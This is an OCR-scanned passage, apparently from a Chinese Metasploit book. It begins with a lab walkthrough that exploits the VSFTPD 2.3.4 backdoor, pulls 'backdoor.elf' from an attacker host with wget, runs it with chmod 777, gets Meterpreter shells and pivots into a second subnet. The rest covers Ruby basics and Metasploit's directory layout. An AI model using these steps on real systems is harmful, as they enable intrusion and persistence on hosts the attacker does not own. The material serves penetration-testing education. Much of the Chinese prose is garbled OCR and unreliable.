(3) XHBATE213 I FOVSFTPD 2.3 4347 T Bt .

(4) 7EIPHBAE4192.168.10.1121 HAR 3k T —1-shellALFR

3. VSFTPD Exploit + CMD
UNIX SHELL

8.Linux Meterpreterf¥ f

9. msf> arp

192.168.10.118 192.168.10.112

5. Weet
http://192.168.10-11
8/backdoor.elf

6. Chmod 777 7 .[hackdoor,elf

backdoor.elf
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(5) Bl — Linux{# F i Meterpreter shell, Jf##HZ fil | Apache T A /var/www H & H1, T
K, FeshellFizfrwget 4, HEHBH I Meterpreter shellf% 3% 2| HbritHHLA

(6) Wit fiy4chmod 777 backdoor. el fAshell/i | | SCAFMR T5E AR .

(7) TE—AHph 2 rb it sr — N5 B Hehandler, X handlerffiafT7E4444%5 0 -, AR5
1 BFritEHL 18 7backdoor.el 3044

(8) 345 T IPHhEA192.168.10.112 H A5 R 4L Linux Meterpreterf R .

9) FEE L WINB BN HIr R G iz Tarpiid o KX R EHLE] T — N7 1) R
4, I HEZA— P MIPHE A 192.168.20.4 1K) FHLEE S T 88

(10) F]HMeterpreter shell7£192.168.10.112 P # v —~2:4E192.168.20.0/24 M 4% [ aut orout e
( F Bl B ),

(11) i Meterpreterf% & I B i, X HAR A T—IR TCPIEAY i H 48 AR 55 TAIE

10.76192.168.20.0 U TOPHR PR 15 pppes s

FA ) B A

8.Linux Meterpreterf¥

17. msf>arp

9. msf> arp

192.168.10.112
192.168.20.5

192.168.10.118

14. PHP Meterpreterf i

somin BB
12 %%EWA;Q{JPHPEE%

16.Linux Meterpreterfy f

192.168.20.4

(12) & HARLEBOM 11 i 145 — A Il MUA (I PHP I 55 45 .

(13) i3 PHP CGIZHH AT SZEL T3 HbR R MB5

(14) FRHUT BET R4 FBAY AL ( 192.168.20.4 ) AYFETHIRLBR , 3% /1~F5 i H PHP Meterpreter S 3.
(15) £ F &1 Hbs_E It tbackdoor.el 301, X 5 Z RifE4—A R GeHh B il —F¢
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(16) FREL T HAr RS A)Linux MeterpreterfifR . _
(17) TEBr RS iz rarpin s, AHRML L&A A AL EHL,
(18) TEMIZ% I & BE T TPkl 4192.168.20.6 04 ML, Fxf HdE A 7— YR TCPZEAY )iy 11 F94 o

(19) XA S D PEAT 4 . 76 HARAY80803 1 & B T IEAEsfTHUHFES 2.3, 1 ELix At
AR R 2 A TR

(20) FlfiMetasploit-H FYHFSIZ BRI T X HAR RS HIBIE -
(21) 315 H 5 R S Windows Meterpreterfl i .
(22) IBFT— " FEAABEE PR HAR T RIA R o

(23) BEFRILENSP,, FEAMEHO S5 IRTT RS . X FE Mhandler @S 42 )5, BEnT LA
SEZIFT T MeterpreterABR .

(24) F| FAMeterpreter ffJevent _managerBHIE R H i,

1.18 Ih\&

ARENATBIBEMRAS DB, PH# T Metasploitff) 225 5 72 DL Infar %t 45 12 W45 T Jié
B, [HJE T Metasploit i FEATIRE M, J@R T 4nfa] % P~ AS 5] 1Y Linux & 48 A1 Windows
Server 2012 R G A TBBEMIA, [FIFHAYHE T 7EMetasploitr il A 22 A AL

TEARFELRZIR, RAICEER TLIT A,

Q X TBE4 o B e

Q 7EMetasploit-P (i FEdE 12 1 44k

O MetasploitIl iR HESR Fy JEAf AN

Q BE B B T A

Q i fMetasploiti#4 &2 Ml 1A CHR IS

AT FEH B2 BN A DB B HIMetasploithE 2R, Sy i S 15 1927 S i 28

TR FTRAAT LR B, ISR 4TS M Metasploitf AL 7. FoA PARA
W5 Metasploitl¥) 447K 73 I 4 5 MetasploithE 4L 1) H 2E LIBE



FTiE EF 1L B Metasploit
21 M HE SR

CANERAMERTIRE, BIAARMMRE TP E, RPFTREAR, 7
— A RF

TE [ 5¢ MetasploitFE AR T RE I L 2 J5, R HITFIR2: > MetasploitBi R 25 . 1 S5 /& Ruby
AT T BIERE N, AR5 R Ruby B4 FETR NS Yo il i —FE 12 >, R A S 18 Metasploit
B E B, AT SR AN T RIS Rl 8 U Metasploitfiik, LUK Anfl gt [ L
FJEB BB, SOKA B FIRATE - = O g &) B EVLR S .

BB —AE L . A TEIT B EMIKXN A R AR 2, I Hib & 2 g &z
JEHATIREEMIK AR, BT R B EHLRSE L & — MRS WA HARRG T
B 3R E S AL BRI TR FDRG 1o IR, FEX AP T il AR S —A A )R 8%
BEHUAAS o XA 2 A ST B2 189 B AR R GEH T 8 3

ATET S GiTEMetasploit PR HRuby i B2 AR OISR IS YR AT T & 25 FiMetasploitF R .
ARFERT LR XU

Q T f#7EMetasploitPhE Fh #E4 T Ruby J 2 1Y EEAH AT

Q HWF5EMetasploit/FAE LR

O 4’5 A& LML BB RSB BRI,
0 %5 MeterpreterfiiAs

O Hf#EMetasploith B Y HETE FIE o

Q j# T Rail Gunfff FHDLLSE 43 RMERIAE 55

BAELEIRA TR T Ruby i il 5 1A, I B 2R 5 Metasploith B 4 55 AHSC A RIR .

TER AW I Metasploitf I 5 Z AT, W 1 fiff g 5 X LU B iy b A O Ruby i AR 5 BOAR% 0
Rtk o R 4% > Metasploith| Z2 4R (15 7 /& RubyWe? N UL ACKAARS BhFRA B X A R A 52
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Q TR [ Sh 2ok BT R Ruby i 5 89— MR, XS IELF# 2 T Metasploit
K

O Ruby /& — i[5 X R A F e =

Q Ruby e —MFREANE T, PATHEEDR, 2T H A SR

2.1 Ruby——Metasploit BJ1% (>

Ruby#ieif 7 il LA & MetasploitHEAR A% Lo . it Ruby B2 HA0e? HAERuby B J5 ik (1Y)
YL, Ruby/e—FP RIS A IIRPLE 5 o HARRIAAT TIALE19954F BT FI23 T Rubyifi 5 .
Ja R e — 2D SO IIRERAL T PerliE 5 1Y . BA ZhaASReE A SURAILHIAY . 1B AR E e 3T &
(Object-Oriented Programming, OOP) HIFEFXITIE -

=T A Mhttp:/Rubyinstaller.org/downloads/ T 2 Windows/Linux & A 9 Ruby
AT VABAL T @ 6 P RRAFE A 69 Ruby 3 5] FTUR : http://tryruby.org/levels/1/challenges/

211 BIEREIE— Ruby I2FF

Ruby &t — 10 ] B 5 A M g AiE 5 . 26 7 — T Rubyif 5 IOERE AR, (ERE 0,
Ruby 2 —F N AT EE NREIES . R VHERuby 1A AU S i 8 A B TE R, A
IEFRATTHE H ¥5 K 2 5 Metasploith B FIr 2475 U Ruby F13H

1. RubyfIRZ ER & S1T

Rubyifi 5 424t T — AT LA T3S B i AT RS A A 4T L AT AT USSR AT TS A
HbBEAFRuby HYFERIFIIN . 4F00, BUESLETTIR 1. B IHRIICMD A AT BE L ed 1, 48
JEAEH R AT 4 1 o2k S Ruby Y S B A 47

FetERuby S H A AT A —SE N, SRIG AR KA AL ;s RN T 7~ i A K72 «

irb(main):001:0> 2
=> 2

ZH A A AR EUF G T MR ABE TR, R T 75— AR, Gln— a0 T BIs
D) ISR

irb(main):002:0> 2+3
=> 5

ALAES], AR AR AR —DREA, S T2k D Sk 4

@ PEA3EARRuby iR 5, 1127 HRuby 2 SCARAATHAE F ALY ( Ruby Bl (HE58)) (ANRMEHL T RRAE20174F
SH AR ) —E
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BUAEAIIT—LEXF A S HRA R, AR — D745 sp I R (LR AT B — e fp, AR AR
IR«

irb(main) :005:0> a= "nipun"

=> "nipun"

irb(main) :006:0> b= "loves Metasploit"
=> "loves metasploit"

X R MO HESHUR , Tl DRAEFT — F Y758 Tl Ar A7 Tl Aaflaolif, S8 fr
AT R SV Y -

irb(main) :014:0> a

=> "nipun"

irb(main) :015:0> a+b
=> "nipun loves metasploit™"

WURR, Rl — AR, ZEA S TR B T E R o a i E i 1 E.
Fefehits, i Aa+biR [ IS5 RN A R a FIo B I %

2. EHHMTHEX X

D RS R, SIRATI T E NI 2T T . 7T LA B 7E Ruby 58 B i 4 7
P —ATI5k, WATAERAS X BT T A B . 7Efd HIMetasploitBE R, Ruby 77 22—
REERER Y. RBEB ERIHRZEARA.

def method _name [( [arg [= default]]...[, * arg [, &expr 1]1)]

expr
end

BUE LA, BEDaet s, BT RETEMAR, RERESERS NS
BoRFRIAR . FATEWE— D end S BIHUE T A Rk W B S5 R 45 ARWRT e Lo XL, arg
TRHRITIE RN SEL, exortB IR TIERIRIEZ IR FRIAX, RE DT

irb(main) :002:0> def xorops(a,b)

irb(main) :003:1> res = a * b

irb(main) :004:1> return res

irb(main) :005:1> end
=> :X0rops

FATE LT — A% NxoropstI ik, EHEMaMoMANSE. EEHREBINSEET
s, IR R — B N reshU LR P R recurnif Al RiR IR

irb(main) :006:0> xorops(90,147)
=> 201

MBS, pRBoH s 5 s80aBITEN T IEFIRISER . Rubyih 1R T put sMlpr intiX P
HATENRREL. 24P KMetasploithE4ERT, il fHprint_1ineifil, TR A forint_good.
print_status?ﬂprint_erroriﬁ"ﬂ%%ﬂ?ﬁiwﬁkﬁ?\ %ﬁ%ﬂ%ﬁo ?ﬁ?ﬁﬁTﬁﬁiﬂgﬂ?fﬁﬂ



2.1 Ruby——Metasploit #9473 45

print_good ("Example of Print Good")
print_status("Example of Print Status")
print_error ("Example of Print Error")

HYRIEMetasploithi N iafT X LEAF S 2= A an M, AP SRR OB RFORIER, *fF
SHEORRFRREFRE, 9O R RN ERER.

[+] Example of Print Good
[*] Example of Print Status
[-] Example of Print Error

TN TR AT Y52 B 02 > 44 R B i H A AT ROVE I

2.1.2 Ruby T SMEIRLR

AR SR —AME BT LA o5 4 o FERuby Y, FRATT A AR T B — A i (A
XEHIEATA . Rubyifi 5 SCRPR H AR B AS AR, (HUZFAT HIHE 5 MetasploitA 5C 1%L
PRI, R HDRE B X LRI L BT

1. FAF BRI

FAHRFOR—DREFERF X4 . TERubyH, BT MG E— A5 R AR A ok — 4
FAF R EIRES — e R o s A S A O 5 8 A5 S hmic—AME, #inT LUK X ME
TE SN TFATHR

BRHERA R X S ARiC, Vs S hric I REe s R R, F— Tl RES IR Ay A1 .

irb(main) :005:0> name = 'Msf Book'
=> "Msf Book"
irb(main) :006:0> name = 'Msf's Book'

irb(main) :007:0" '

ATDVES], X RREShmehr, EATTAET o SRSl E i Hus £ s s £0F, 4
WEIT . ORFAERF AT, RE G Ms £ s PG [ 5 9B T FAF R A R 55
X ARIFARTRATT A L . I AP 0 BRI B T IR A R

1) FAFepiEsE

TEfi FIMetasploitfEHR A5, 2 A R i 4R D RE—— A 1A 4 LA SE AT o 24 A
ARIERE N — T o ] LU +s BRI T AT ik 38k, M se— s
JE BRI A, L nT DL ] < <iz AT -

irb(main) :007:0> a = "Nipun"
=> "Nipun"

irb(main) :008:0> a << " loves"
=> "Nipun loves"
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irb(main) :009:0> a << " Metasploit"

=> "Nipun loves Metasploit™"

irb(main):010:0> a

=> "Nipun loves Metasploit"

irb(main):011:0> b = " and plays counter strike"

=> " and plays counter strike"

irb(main):012:0> a+b

=> "Nipun loves Metasploit and plays counter strike"

XK Nipunt BES T Ea, REHHEH<<2EMAAECWEHEBEMNT "loves"
"Metasploit", il 55— ﬁrﬁb{%TT{E"and plays counter strike", f# N3, fhjH
oA +12 BAFRX AR R, 198 T — N2 % " Nipun loves Metasploit and

plays counter strike’.

2) FFFFH (substring) PREK

TERuby HH AT LU AT H subst ring BREOR AR T 75 h—— R EHE I T A A B TE 15
FR A O B, AT RIS, AR R

irb(main) :001:0> a= "12345678"

=> "12345678"
irb(main):002:0> a[0,2]

=> ll12ll
irb(main) :003:0> al[2,2]
=> ll34ll

3) splitPR%N

LM sl ¢ PRECK — 45 ER AL AE 31— D8 8l . T —AN a7 B 511> 1
X
irb(main):001:0> a = "mastering,metasploit”

=> "mastering,metasploit"
irb(main):002:0> b = a.split(",")
=> ["mastering", "metasploit"]
irb(main) :003:0> b[0]

=> "mastering"

irb(main) :004:0> b[1]

=> "metasploit™"

LIRS, BEE LK TR T — 8 o, XN E Th ol Mib (11

ANICE, iR mastering" fl'metasploit”,
2. Ruby iy 3 % 1k

AT A H A AR P IR . (AT B AT, AT LU co_1 BREICH F4F R 26
RIS AT . 53—, nT LUME ] co_s pRECH — DT T4 5

KB — A HR BT AR B RS
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irb(main) :006:0> b="55"
=> "55"
irb(main) :007:0> b+10
TypeError: no implicit conversion of Fixnum into String
from (irb):7:in "+
from (irb):7
from C:/Ruby200/bin/irb:12:in ~<main>'
irb(main) :008:0> b.to_i+10
=> 65
irb(main) :009:0> a=10
=> 10
irb(main) :010:0> b="hello"
=> "hello"
irb(main) :011:0> a+b
TypeError: String can't be coerced into Fixnum
from (irb):11l:in " +'
from (irb):11
from C:/Ruby200/bin/irb:12:in “<main>'
irb(main) :012:0> a.to_s+b
=> "1l0hello"

ALER, R — DG S PRC R RS Z T, XA RSO E— DA R AR, Y
i FHAX AN T HEA T IR SRt 2 tH A R o (R, XHATT T co_i BRBLUS , X AMEHEE2:
T H SRR, T AT DUE R TR 5. FRE, XETF5ards, Y OTLER—
AR — AP BB R, BRI B T o A, T TS, —DIER T .

o Ruby ¥ #9844 3

TEH I BREGRAABRIIR, , HOR G R b . BUERTE —LE 2 )52 TSI B 2]
et

Q 1635 F] 100 (i
7ERuby Fd Fihe s BRETN — AN BB HEAT 163755 21 1035 0 (R By, R i 45

AR
irb(main):021:0> a= "10"
=> n 10 n

irb(main) :022:0> a.hex
=> 16

ATLAAE S, 168EH] T A 10X 108EH] F Y16,
Q 1034 2] 16 54
R AH S BERAVE RT LU FH to_s PREICIE SR .

irb(main) :028:0> 16.to_s(16)
=> ll10ll
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3. RubyHHISE E

SeM (range ) & —MREZEAINE, | ZNFH1EMetasploit i H BAsEH b, il g A
AR

A TE L—ER, IFHAFR— T T RIS X AR 28 R TP LE A .

irb(main) :028:0> zero_to_nine= 0..9

=> 0..9

irb(main) :031:0> zero_to_nine.include? (4)
=> true

irb(main) :032:0> zero_to_nine.include?(11)
=> false

irb(main) :002:0> zero_to_nine.each{|zero_to_ninel| print(zero_to_nine)}
0123456789=> 0..9

irb(main) :003:0> zero_to_nine.min

=> 0

irb(main) :004:0> zero_to_nine.max

=> 9

FATAT AR B — O I R IR AR 2Rl E, BIaE R | A3/ ME AR A 3 Fl v
MY A B . XA include? PRECT IR A0 Bl B S S —MRE iE. Ak, minflimax
PRIZSCAT LA 7 0 1 v ) e I R B KA

4. RubyHHy %2R

FATTT LASA] S B e SCH— RINTTR S . RE— D+

irb(main) :005:0> name = ["nipun", "metasploit"]

=> ["nipun", "metasploit"]

irb(main) :006:0> name[0]

=> "nipun"

irb(main) :007:0> name[1]
=> "metasploit"

FIAENIE, LN T A S Metasploith He b 75 1728 1 AR E R A SE 1R
AR E T AL F 542 8, 7 iF Flhttp://www.tutorialspoint.com/ruby/ .,

A k4% I Ruby 4» #2 6 i & % , 7% & % https://github.com/savini/cheatsheets/
8 raw/master/ruby/RubyCheat.pdf,

4o AR LA E A R 6935 F @ RubyiE T g, XA — W iEAEMA: hipy/
hyperpolyglot.org/scripting.,
2.1.3 Ruby FHI75%

JTRJE RN 5 — Uik o BR T Ruby R 51 LASE , HABTE iy B3 T B o fol I P e
o IR B TR E R E R TR o DR S T AU R T, RO TR R
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JEo EX—ATTEARE S, 1% ORI T Hlde ECHE T, TR R HLTT (il end SCHE T
TEFA T o — R R R TR BN TR AR 3, BN TER 50 1254%

def print_data(parl)
square = parl*parl

return square
end

answer = print_data(50)
print (answer)

X print_datar W FE R X RS E, RF1EHTERL A S, FRELSRAEH
returni® B, XPEEFBAR BIERE] T — % Hanswer (ZS B, B TXME, FAll
PEAEATE (1) J5 DRI T SR A L oA 2 b fef I Ruby H 9 77

2.1.4 REREBEFF
SHAATTR AR S — R, DS fERuby L — RS . B — AN T

irb(main):001:0> 1 > 2

=> false

[FFE, FERER —DFEAF R 61
irb(main) :005:0> "Nipun" == "nipun"
=> false

irb(main) :006:0> "Nipun" == "Nipun"
=> true

KB — Al IR AT A TR BT -

def find_match(a)

if a =~ /Metasploit/
return true

else

return false

end

end

2B E T4

a = "1238924983Metasploitduidisdid"
bool_b=find_match(a)
print bool_b.to_s

LI ET T, ROEH T M EA Metasploit "MIFERFH, XAFEAF T
"Metasploit "BIEHENIN T —S T4 . RERKX AN FAFRRES D ira, Bk, Bzt
WAL 45 A £ind_match (), 3K pRBCHY 1E T2 A A i 248 5 02 A AT LA DG I GE D 3% 3k =X
/Metasploit/, WX NERHALE T "Metasploit "G, PREHIR FEREtrue, HNIGEE
2 falselffHA bool _bARE .

BT BTG 27— true, RO RGOS T3, XA MEEILACHY) .
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T AR 7 7E Windows 2 GERE Hh R T 56 U i HH OS5 SR A0 T ) R R RIA BT

C:\Ruby23-x64\bin>ruby.exe a.rb
true

2.1.5 Ruby FHfEIL

PACE A BR NGRS o IE WA A SRR 5 —HF, RubyZif bt BB FR4A5H . 42 T K1k
A PRE—F XRS5, BEEHELAHAM GRS T AR Z AL

def forl(a)

for 1 in 0..a

print ("Number #{i}\n")

end

end
forl(10)

b IR SCAYYE RN O3 ST 31010, SEBE T ERSTEN A i1 Y AT A EL. 7EiX IR
#OL BATEN R S B A B \n BT IR BT —1T. Pk, B—UdTEN G ARy, #is
3l AR —47 o

EAEA R L each LAY . XJ&—FP 1205 WA, 7EMetasploitiE e i iz fifi
T AR

def each_example(a)

a.each do I1il

print i.to_s + "\t"

end

end

#E RGBT S

a = Array.new(5)

a=[10,20,30,40,50]

each_example (a)

1E BT ARG, FRATE LT — D0, AR a, RS R R i fA T
FIleacnlEFFTENN A . leactirtse MARFF 204 Bl arh TR R E 11, — 1 EI T
— AR EE XA R . AR\ e FR— IR AL (tab ),

8 AR VEERE F %43 8., 77 Flhttp://www.tutorialspoint.com/Ruby/Ruby_loops.htm,

2.1.6 ENFRER

TEDN kAT VT e — >4 Rl SR A7 H A — 225 5 I 74 Pl ) 1 P H B TR
TEMetasploit, TEMZFRIAATE+ 70 RN . 7EH S Tl Ko A TR AN TR LR it~ 45 €
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S TR SEAS B e BT U 2 5
WBEATE 017, XHEARFER T IR AR

BRI — 5 RAOTA— 2N, ERfifEEello world, HAIFENEBIT—1IE
WK AT T AL URS

irb(main):001:0> n = "Hello world"
=> "Hello world"

irb(main):004:0> r = /world/

=> /world/

irb(main) :005:0> r.match n

=> #<MatchData "world">
irb(main):006:0> n =~ r

=> 6

AR — 2 iy, JFEENRBEXAS— /world/fRAFTEH T . 75T —17,
AT HIMat chpataZEfimat chX G A4 B FE R A TIC L . A A TR |1 T —N DL R
I HfE B Matchpata "world" . # FRFAMEH I — B TAT =R 58 A AT AR Y D FCERAE AN
VCRCAR) EARN B o IEIRATE — XA

irb(main) :007:0> r = /Aworld/
=> /*world/

irb(main) :008:0> n =~ r

=> nil

irb(main) :009:0> r = /*Hello/
=> /*Hello/

irb(main) :010:0> n =~ r

=> 0

irb(main) :014:0> r= /world$/
=> /world$/

irb(main) :015:0> n=~ r

=> 6

S HIE / ~world/ e, X AERATRREICIFAT IR A E . A 14538 1 4
tnil, XUHPFAICE S, FATEFBESOX D RIRA LA firlHe 1 LoTFHIRIFAT R . X
—IK, RGN0, XEWEERIT G EICECRY) . F—22, AT IENFREE
ok /wor1ds/, XEME RA— LU iRwor 1 a4 B 4T B A2 IR .

A % Ruby P #9 EE N & ik X 69 £ %42 &, % Flhttp://www.tutorialspoint.com/
Ruby/Ruby regular expressions.htm,

8 o7 09444 T Ruby A5 3 & F, ToAkMR 9 72 2 B hitps://

github.com/savini/cheatsheets/raw/master/Ruby/RubyCheat.pdf. http://hyperpolyglot.

org/scripting,

Ay Sk dm A My £ B 6 S ik X 69 £ % 43 8, 315 Fhttp://rubular.com/,
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2.1.7 Ruby ERENIR/

BArE, BRARCZANE T 7 XIALLYIRIE? FATRINETE T Ruby AFEAIIRE, X4k
T REAR ST SE B MetasploitB R T A7 1Y o RubylB 75 Mz N A T4 5, X A REIA A
TS, (HZ, AR LU T 39 BRSSO F5 1 Ruby 4 Fe 55
O — M FHERubyif 5 HAEEGTI)ZE . hitp://tutorialspoint.com/Ruby/
Q AT AR B AR 4R i Ruby i 75 4 R AR A AT 2 ) B4
m https://github.com/savini/cheatsheets/raw/master/Ruby/RubyCheat.pdf,
m http://hyperpolyglot.org/scripting.

QO A XRuby 25 B, 1 1i[Ahttp://en.wikibooks.org/wiki/Ruby Programming,

22 FEBEENIRR

TEFRA B TRA M ISR T 1) R . Metasploithii A5 K M 3 i b | i e |
BER, SRR IR X1 ST BHOT R B TR T — T AT E S PR
AT A Y A SRR

AR IR AN S B BB TR TS . A T2 sk, B 21E F—=hit
AT, BIREX—FPoRk, RATESRBBIT R — DRI

221 RRREHE

WX A E2E 2T, AR T i Metasploit iR RAESE, L M MetasploitFr A 21 AGER 43 e AT
# A PIIRE,

1. MetasploitlEZR AR R 454

Metasploit/e FHAR ZHBIFLLRNY, FLAnFERIZESCIE . B . 3fifELh J T H. . MetasploitfJf& &
HEZRZSF 7R T
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UMLZ % REX
| PR | | re
MSF e STiA: 22
sellitehs | WOERR | soREE | EEEE
fie \\\?# BB

MSF::UI

Hzh

msfconsole msfecli webUIL msfgui Anhec
el Rl T B

KREB XL AR AL CENTIIRERAT A o Fdf (DA K& Metasploit A% 0
ﬁ—%ﬁﬂjﬂij{{#o

AT LU SN R A BERR T s R RERR RSO R &

BRI R R RS

RubyyJ& (REX)  RCHEJLFRARIEOIIRE, B MR T, MKRRLBERE, wRIFET A KA A TR
MSF#l PRt T HA ) APTRIHESRRY KPRz
MSFJE i XS T ACAFHIAPT

Metasploit s {1 % Z AR RBLRE AL, B4 AAFE AR DIAE . Bk B ik 41
H—DAHGPEE BN EYLZ AR EE . BRI SC B A B A, Blanfs 2oR%E . H
FRBRAL . X — AR AT fuzz I S A Rl IR G5 (8 5% . KRB R X LERIR A FEATIRE, U
RS

HR AR o

WEHARR kSR A DR AE RIS 1E FARLU A AN A FL b, W ELBR ARSI A LI , R 4A
FARERESS , BT BBRBL e AMIRSS , 565, Sk BT e MO T B bRLFFBLLL
T A% T PO Meterpreteriib & — -4 L9 Metasploitsic i A A i

i B Hli B AP AE — R BT HRE (R 55 AORFER IS B, BlAnfE B EE . BB EERFAE T, BARFIZE LA
SRR 55 B AR NG5 5%

S 2% i X LS Rt ek ol AN BT R A TN, A IR BE R T AN K Sk AR DN

NOP KHUHRAHIXTT, fREBE IR Ek

BB il e — A~ R GEIRIRI S2 Br AR
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2. TR LA
Metasploit " () TS5 F IR PR .

app config iﬁata db lib

modules plugins scripts tools vendor
# #17 =" =" ="
msfdb ruby Gemfile Gemfile.lock metasploit-

framework.gemspec

%‘ %‘ %‘ %‘ %‘
msfbinscan msfconsole msfd msfelfscan msfmachscan
%‘ %‘ %‘ %‘ %‘
msfpescan msfrop msfrpc msfrpcd msfupdate

%‘ %‘
msfvenom Rakefile

PRAE SR T it MetasploitH—SEAHSC 1) H 5%, 30K B FIRATTHE 47 A 37 Metasploithiib, X
e H SR RPN

E| 3 A &

lib MetasploitfJiOFN R 8], A& T H By 3d 18 S r MSFRIH V) 4 3 T B2 3L 1

modules & Metasploitr i) BT A i Be—— M AT B 21 J5 5B 1Bk, 45—/~ MetasploitHr 52 B
BT AR A B k3

tools BETHTHPNSENIKA G A TRT . S TC SRR A& IMP ESPi#bsik i) T H A
WLAMEX BARE, prE A FRa AT R AR & F ik

plugins WE T A TP EMetasploitBh RERUE 1, f5l410penVAS, Nexpose, NessuslL Jz Hifth
AT LME I Loadfir & B ARI T H

scripts & T Meterpreter I H:th & FlHI A<

3. EWNHF

Metasploit RS2 p 44 125457 14 RRBICHAT BICRY  ToX 6 R RSB0 175 2% b il 26 S A B A FHH Ruby
G5 B AR o FERE X SEpRBCZ AT, G BN X S R AURAT A, el X LE ek K, ]
PREUNT T ZAL 1B 2 DSB8 HHR B, XL R EIR HE 2 A7
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KA RS R SEBRAL AT T A4 5 AR s

root@mm: /usr/share/metasploit-framework/lib# 1ls -la -X
total 144
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x 4
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x 2
drwxr-xr-x 1

root root 4096 Mar 21 13:18 anemone
root root 4096 Mar 21 13:18 bit-struct
root root 4096 Mar 21 13:18 metasm
root root 4096 Mar 21 13:18 metasploit
root root 4096 Mar 21 13:18 msf

root root 4096 Mar 21 13:18 nessus
root root 4096 Mar 21 13:18 net

root root 4096 Mar 21 13:18 openvas
root root 4096 Mar 21 13:18 postgres
root root 4096 Mar 21 13:18 rabal

root root 4096 Mar 21 13:18 rapid7
root root 4096 Mar 21 13:18 rbmysgl
root root 4096 Mar 21 13:18 rex

root root 4096 Mar 21 13:18 snmp

root root 4096 Mar 21 13:18 sglmap
root root 4096 Mar 21 13:18 sshkey
root root 4096 Mar 21 13:18 tasks

root root 4096 Mar 21 13:18 telephony
root root 4096 Mar 21 13:18

root root 4096 Mar 21 13:18 ..

root root 143 Jan 1 16:59 anemone.rb

FHERREPFEFFEPFPFEFFPEFFPEFOWBONNWOUNNONNNWORNBERNNSNWWNO®

~rw-r--r--
~rw-r—-r-- root root 367 Jan 1 16:59 bit-struct.rb
~rw-r—--r-- root root 2217 Jan 1 16:59 enumerable.rb
~rw-r—--r-- root root 722 Jan 1 16:59 msfenv.rb

mB ~rw-r—--r-- root root 367 Jan 1 16:59 postgres _msf.rb
~rw-r—--r-- root root 23897 Jan 1 16:59% rbmysqgl.rb
~rw-r—-r-- root root 2982 Jan 1 16:59 rex.rb

ﬂi ~rw-r—-r-- root root 294 Jan 1 16:5% snmp.rb
~rw-r—-r-- root root 71 Jan 1 16:59 sshkey.rb
~rw-r—-r-- root root 71 Jan 1 16:59 telephony.rb
~rw-r—-r-- root root 1660 Jan 1

16:59 windows_console color support.rb

WEM EEPR, XSFRITREZ WREXFE S FAbH SR F o 7E/1ib P & T4 M AR5 1)
EEH,

AN B baseFl/corevi T/msfHE T, W FETR.

root@mm: /usr/share/metasploit-framework/lib/msf# 1ls -la -X
total 88

drwxr-xr-x 6 root root 4096 Mar 21 13:18 base
drwxr-xr-x 16 root root 12288 Mar 21 13:18 core
drwxr-xr-x 3 root root 4096 Mar 21 13:18 scripts
drwxr-xr-x 4 root root 4096 Mar 21 13:18 ui
drwxr-xr-x 2 root root 4096 Mar 21 13:18 util
drwxr-xr-x 7 root root 4096 Mar 21 13:18 .
drwxr-xr-x 20 root root 4096 Mar 21 13:18 ..
-rw-r--r-- 1 root root 1012 Jan 1 16:59 base.rb
-rw-r--r-- 1 root root 1464 Jan 1 16:59 core.rb
-rw-r--r-—- 1 root root 156 Jan 1 16:59 events.rb
-rw-r--r-- 1 root root 3760 Jan 1 16:59% sanity.rb
-rw-r--r-- 1 root root 169 Jan 1 16:59 ui.rb
-rw-r--r-— 1 root root 383 Jan 1 16:5% util.rb
-rw-r--r-—- 1 root root 24603 Jan 1 16:59 windowg_error.rb
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TEmsflcoreE3CAFIR A, 1 LA B 153 KA FTA BB 22 SO, 4 T ) i i s

auxiliary

db manager
encoder
encoding

exe

exploit
handler

module

module manager
modules
payload

post

rpc

session
author.rb
auxiliary.rb
constants.rb
database event.rb
data store.rb
db_export.rb
db_import error.rb
db manager.rb

encoded payload.rb

encoder.rb

event dispatcher.rb

exceptions.rb

exploit_driver.rb

exploit.rb
framework.rb
handler.rb
host_state.rb

module manager.rb

module.rb
module set.rb
modules.rb
nop.rb

opt_address range.rb

opt_address.rb
opt_base.rb
opt_bool.rb
opt_enum.rb
opt_int.rb

option container.rb

opt _path.rb

rootlmm: /usr/share/metasploit-framework/lib/msf/coref# 1ls -X

opt_port.rb
opt_raw.rb

opt.rb
opt_regexp.rb
opt_string.rb
payload generator.rb
payload.rb
payload set.rb
platform.rb
plugin manager.rb
plugin.rb

post mixin.rb
post.rb
reference.rb

rpc.rb

service state.rb
session manager.rb
session.rb
site_reference.rb
target.rb

thread manager.rb

XS0 RS R AAZ U B BB SR TR AN [R) R E RN T 6 , T LAfel AT A 75 22 1 B S A
— e Metasploitfi b |2 i Fi A% 22 ST Feore/exploits/ H 32 T, 40T A RFEE IR

format

http

java

kerberos

local

remote

smb

afp.rb

android.rb
arkeia.rb

browser autopwn2.rb
browser_ autopwn.rb
brute.rb
brutetargets.rb
capture.rb
cmdstager.rb
db2.rb
dcerpc_epm.rb
dcerpc lsa.rb

dcerpc_mgmt.rb
dcerpc.rb

dect _coa.rb
dhecp.rb
dialup.rb
egghunter.rb
exe.rb

file dropper.rb
fileformat.rb
fmtstr.rb
ftp.rb
ftpserver.rb
gdb.rb

imap.rb

ip.rb

ipvé.rb
java.rb
jsobfu.rb
kernel mode.rb

rootlmm: /usr/share/metasploit-framework/lib/msf/core/exploit# ls -X

seh.rb
sip.rb

local.rb
mixins.rb
mssql commands.rb

mssqgl.rb smtp.rb
mssgl sqli.rb snmp . rb
mysql.rb sunrpc.rb
ndmp . rb tcp.xrb
ntlm.rb tcp server.rb
omelet.rb telnet.rb
oracle.rb tftp.rb
pdf parse.rb tinecd.rb
pdf.rb tns.rb

php exe.rb udp.rb
pop2.rb vim soap.rb

postgres.rb wbemexec.rb

powershell.rb

realport.rb wdbrpe.rb
riff.rb web.rb
ropdb.rb winrm.rb

AT PIAEcore/ H 5% T HR BN SRS R BUBLR A B A AR 22 SCIF . H AT, 3 BL AT IR EIZ A

reflective dll loader.rb

smtp deliver.rb

wdbrpc client.rb
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B Bahafarfed | SRR iE | g A L S A AR 1 core 4

JE https://github.com/rapid7/Metasploit-framework _t ¥ ¥A 37 [l Metasploit 9 Git
Btk B, FAT R R,

222 THRIBER _

FF R 2 OB U (0 Il 2 Se TR A PR MetasploitBUA ABSE G PRHLE], BB EEmn
AR . AT et X Rl ik AR — TR X SERIE TR IS #R A AR T A A

MetasploitiE R A&
